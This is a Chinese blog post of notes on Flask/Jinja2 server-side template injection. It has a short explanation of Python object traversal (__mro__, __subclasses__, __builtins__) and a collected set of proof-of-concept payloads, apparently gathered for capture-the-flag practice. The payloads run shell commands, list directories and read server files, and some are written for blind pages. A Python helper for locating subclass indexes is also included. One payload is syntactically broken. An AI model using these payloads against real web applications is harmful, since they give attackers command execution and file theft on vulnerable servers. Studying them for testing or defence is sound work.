首页 > 技术文章 > Flask-SSTI注意事项以及一些POC

ersuani 2020-10-29 13:49 原文

1.对于Flask模板注入,首先是要判断是否为注入点,即通过输入表达式{{1+1}}观察程序是是否执行,输出结果。
2.__mro__与__base__的区别在于,__mro__返回的是一个对象所属的类继承的全部类,可以有很多个。__base__返回的是其继承的基类,只有一个。
3.__subclasses__该模块是查询到的结果是一个类的全部子类,我们需要在这些子类中寻找可以利用的子类。这个模块返回的数据往往有很多,可以通过将这些数据存入到List,通过list.index('')来输出所需要的的模块所在的位置。(我用的py脚本会附在下面)可以利用的子类:warnings.catch_warnings(一般在59)、socket._socketobject(一般在71)、site._Printer等模块。
warnings.catch_warinings是没有内置OS模块的需要导入os模块(可自行验证)

 

 

 

 


4.__builtins__是python的内置模块,内含有python内置的函数。可以通过此模块来调用内置函数如:eval、exec、open。也正是可以利用这些方法进行命令执行、文件读取。
5.os模块提供了多数操作系统的功能接口函数。当os模块被导入后,它会自适应于不同的操作系统平台,根据不同的平台进行相应的操作。os模块中可以利用的函数:system(command)运行shell命令、listdir(dirname)列出dirname下的目录和文件、popen从一个命令打开一个管道进行文件读取等。
6.区分python2和python3可以查找__builtins__中是否有file有file的话是2没有的话是3

 

 

 

 

 

 

 

 

 

 

 

收藏的pos
读目录、文件
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').listdir('/')")}}
{{[].__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].__dict__['system']('ls')}}
{{[].__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen(cat /xxx/flag)}}
{{[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.open('xxx','r').read()}}
页面没有回显时
#命令执行: 
{% for c in [].__class__.__base__.__subclasses__() %} 
#先通过for循环根据模块名寻找符合要求的模块
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}

#如果找到该模块就进行后续的函数操作
{% endif %}{% endfor %} 
  # 结束判断结束循环
#文件操作    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}{% endfor %}

 

#查询需要的类在第几位
#输入查询出来类的列表和需要借助的类名称
def find():
    list = ""
    list = list.replace('\'','')
    list = list.replace('<','')
    list = list.replace('>','')
    list = list.replace('class ','')
    list = list.replace('enum ','')
    list = list.replace('type ','')
    list = list.split(',')

    print(list)
    className = ' warnings.catch_warnings'
    num = list.index(className)
    print(num)



if __name__ == '__main__':
    find()

 

推荐阅读